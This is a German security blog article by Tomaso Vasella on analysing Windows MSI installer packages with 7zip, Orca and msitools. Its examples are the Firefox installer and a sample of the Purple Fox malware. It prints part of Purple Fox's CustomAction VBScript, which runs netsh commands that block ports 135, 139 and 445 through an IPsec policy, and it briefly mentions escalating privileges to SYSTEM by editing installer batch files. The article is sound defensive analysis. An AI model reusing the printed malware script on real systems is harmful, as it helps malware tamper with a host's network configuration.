Security Testing
Tomaso Vasella
So analysieren Sie MSI-Dateien
Der Windows Installer, auch bekannt als Microsoft Installer oder MSI, ist ein in Windows integrierter Installations- und Konfigurationsdienst für Softwarepakete. Der Windows Installer ist weitverbreitet und entsprechende Installationspakete werden häufig in Organisationen zur Softwareverteilung und -Verwaltung eingesetzt. Im 2018 hat Microsoft MSIX als ein neues universelles Paketformat für alle Windows Plattformen angekündet. Vielleicht wird MSIX irgendwann MSI ablösen, wobei aktuell MSI gut etabliert ist und dies auf absehbare Zeit auch bleiben wird.
Der Windows Installer verwendet Installationspakete, welche als Dateien mit der Dateierweiterung “.msi” vorliegen. MSI Installationspakete enthalten sämtliche Informationen und Inhalte, die zur Installation eines Softwarepakets und zur Benutzerführung (Setup-GUI) während dem Installationsvorgang erforderlich sind. Die folgende Tabelle zeigt die gebräuchlichen Dateierweiterungen:
Erweiterung | Beschreibung |
---|---|
.msi | Windows Installer Database |
.msm | Windows Installer Merge Module |
.msp | Windows Installer Patch |
.mst | Windows Installer Transform |
.idt | Exported Windows Installer Database Table |
.cub | Validation module |
.pcp | Windows Installer Patch Creation File |
MSI Pakete können mit Hilfe von Tools aus dem Windows SDK oder mit Drittanwendungen erstellt werden.
Das Ausführen der Installationspakete und die Installation der Komponenten wird durch das Programm “msiexec.exe” gesteuert.
Es verfügt über umfangreiche Optionen und arbeitet mit einem Windows Systemdienst (Service) zusammen, welcher mit hohen lokalen Berechtigungen ausgeführt wird.
Das Verhalten des Windows Installers kann durch Gruppenrichtlinien auf Ebene Benutzer und Maschine beeinflusst werden.
MSI Dateien sind relationale SQL-Datenbanken, die als komprimierte “COM Structured Storage” Datei vorliegen. COM Structured Storage ist ein verbreitetes Format und wird z.B. für ältere Office-Dokumente verwendet. Es erlaubt die Speicherung von unterschiedlichen Objekten in einer einzigen Datei und ist somit ein Dateisystem in einer Datei. Das MSI Dateiformat selbst ist nicht öffentlich dokumentiert, aber das entsprechende API und die verschiedenen Datenbanktabellen sind beschrieben.
Zur Analyse von MSI Dateien stehen verschiedene Tools zur Verfügung. Für einen einfachen ersten Eindruck können die Inhalte mit 7zip extrahiert werden. Im folgenden Beispiel wird das MSI von Mozilla Firefox verwendet.
$ 7z x Firefox\ Setup\ 106.0.2.msi $ ls '[5]DigitalSignature' '!AdminUISequence' Binary.WrappedExe '!CreateFolder' '!Feature' '!InstallUISequence' setup.cab '!_Tables' '[5]SummaryInformation' '!AdvtExecuteSequence' '!_Columns' '!CustomAction' '!FeatureComponents' '!Media' '!_StringData' '!_Validation' '!AdminExecuteSequence' '!Binary' '!Component' '!Directory' '!InstallExecuteSequence' '!Property' '!_StringPool'
Für erweiterte Analysen bietet sich das Tool Orca an, welches als Bestandteil des Windows SDK frei verfügbar ist.
Die Installation dieses Tools ist etwas umständlich. Nachdem die MSI Komponenten des Windows SDK installiert sind, befindet sich das Orca-Installationspaket als MSI Datei im Verzeichnis C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x86\Orca-x86_en-us.msi
. Orca zeigt nach dem Öffnen eines MSI die enthaltenen Tabellen und die entsprechenden Daten an.
Ähnliche Informationen lassen sich auch mit den Open Source Werkzeugen msitools extrahieren.
$ msidump -s -t Firefox\ Setup\ 106.0.2.msi $ ls AdminExecuteSequence.idt AdvtExecuteSequence.idt Binary.idt CreateFolder.idt Directory.idt Feature.idt _ForceCodepage.idt InstallUISequence.idt Property.idt _SummaryInformation.idt AdminUISequence.idt Binary Component.idt CustomAction.idt FeatureComponents.idt File.idt InstallExecuteSequence.idt Media.idt _Streams _Validation.idt
Die *.idt
Dateien entsprechen den obigen Tabellen und beinhalten dieselben Informationen:
$ cat Property.idt Property Value s72 l0 Property Property ALLUSERS 1 INSTALL_DIRECTORY_PATH __DEFAULT__ INSTALL_DIRECTORY_NAME __DEFAULT__ TASKBAR_SHORTCUT true DESKTOP_SHORTCUT true START_MENU_SHORTCUT true INSTALL_MAINTENANCE_SERVICE true REMOVE_DISTRIBUTION_DIR true PREVENT_REBOOT_REQUIRED false OPTIONAL_EXTENSIONS true REGISTER_DEFAULT_AGENT true EXTRACT_DIR __DEFAULT__ Manufacturer Mozilla ProductCode {1294A4C5-9977-480F-9497-C0EA1E630130} ProductLanguage 0 ProductName Mozilla Firefox 106.0.2 x64 en-US ProductVersion 106.0.2.0 UpgradeCode {3118AB4C-B433-4FBB-B9FA-8F9CA4B5C103}
Aufgrund der vielfältigen Möglichkeiten, mittels MSI Dateien Aktionen auszuführen und weil diese Aktionen zumindest teilweise mit erhöhten lokalen Rechten ausgeführt werden, gibt es eine grosse Anzahl von Malware, die diese Methoden zur Installation verwendet. In Red Team Assessments gelingt es manchmal, die Installationsroutinen zum Erlangen erhöhter lokaler Rechte zu benutzen.
In beiden Fällen ist es interessant, die Tabelle CustomAction etwas genauer zu betrachten. Wie der Name bereits suggeriert enthält sie Aktionen, die während der Installation ausgeführt werden, beispielsweise mittels JScript oder VBScript und wird häufig von in MSI Dateien versteckter Malware missbraucht, wie wir weiter unten sehen werden. Aber auch in legitimen Installationspaketen sind hier oft Befehle enthalten.
In den Ordnern Binary
und _Streams
extrahiert msidump binäre Dateien und Executables:
$ ls _Streams/ Binary.WrappedExe DigitalSignature setup.cab SummaryInformation
Schaut man sich alle diese Informationen genauer an, gewinnt man schon eine gute Vorstellung davon, was während der Installation abläuft. In einem Assessment wurde beispielsweise festgestellt, dass während der Installation Batch-Dateien temporär im Dateisystem abgelegt und ausgeführt wurden. Durch Editieren dieser Batch-Dateien konnte sehr einfach eine lokale Rechteerweiterung zu SYSTEM erreicht werden.
Schädlicher Code wird häufig über MSI Dateien eingefangen. Das folgende Beispiel zeigt eine einfache Betrachtung anhand der Malware Purple Fox.
Die Tabelle CustomAction zeigt bereits erste potentiell verdächtige Indikatoren:
$ cat CustomAction.idt ... ExecuteScriptCode 3174 On Error Resume Next Set vbs=CreateObject("Wscript.Shell") vbs.Run "netsh interface ipv6 install",0,True vbs.Run "netsh ipsec static add policy name=qianye",0,True vbs.Run "netsh ipsec static add filterlist name=Filter1",0,True vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP",0,True vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP",0,True vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP",0,True vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP",0,True vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP",0,True vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP",0,True vbs.Run "netsh ipsec static add filteraction name=FilteraAtion1 action=block",0,True vbs.Run "netsh ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1",0,True vbs.Run "netsh ipsec static set policy name=qianye assign=y",0,True ...
Im Verzeichnis _Streams
befindet sich eine Datei disk1.cab
, welche mit 7z
entpackt werden kann:
$ 7z x disk1.cab $ ls sysupdate.log winupdate32.log winupdate64.log $ file * sysupdate.log: MGR bitmap, modern format, squeezed winupdate32.log: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows winupdate64.log: PE32+ executable (DLL) (GUI) x86-64, for MS Windows $ sha256sum winupdate32.log 937e0068356e42654c9ab76cc34cf74dfa4c17b29e9439ebaa15d587757b14b0 winupdate32.log
Eine kurze Abfrage bei VirusTotal nach dem Hash-Wert legt nahe, dass es sich um bekannte Malware handelt.
Es gibt viele weitere Möglichkeiten, wie Malware in MSI Dateien gepackt und verbreitet werden kann. MITRE ATT&CK publiziert einen Überblick über entsprechende Methoden mit der Technik System Binary Proxy Execution
Windows Installer ist ein integraler Bestandteil von Windows und ist als Standardmethode zur Verwaltung von Softwareprodukten in vielen Organisationen weit verbreitet. Eine MSI Installationsdatei beinhaltet häufig ausführbaren Code oder Skripts, wobei das genaue MSI Dateiformat nicht öffentlich dokumentiert ist. Diese CustomActions werden häufig im legitimen Installationsprozesse verwendet, bieten aber auch Übeltätern eine Gelegenheit, auf mehr oder weniger versteckte Weise Schadsoftware zu verteilen. Weil Teile des Installationsprozesses mit den höchsten lokalen Windows-Rechten ausgeführt werden, sind Angriffe über den Softwareinstallationsprozess ein attraktives Ziel. Schützen kann man sich dagegen mit bekannten Methoden, wobei das Prinzip, keine Software aus nicht vertrauenswürdigen Quellen zu installieren und stets aktuelle Versionen zu verwenden an erster Stelle stehen sollte.
Unsere Spezialisten kontaktieren Sie gern!
Tomaso Vasella
Tomaso Vasella
Tomaso Vasella
Tomaso Vasella
Unsere Spezialisten kontaktieren Sie gern!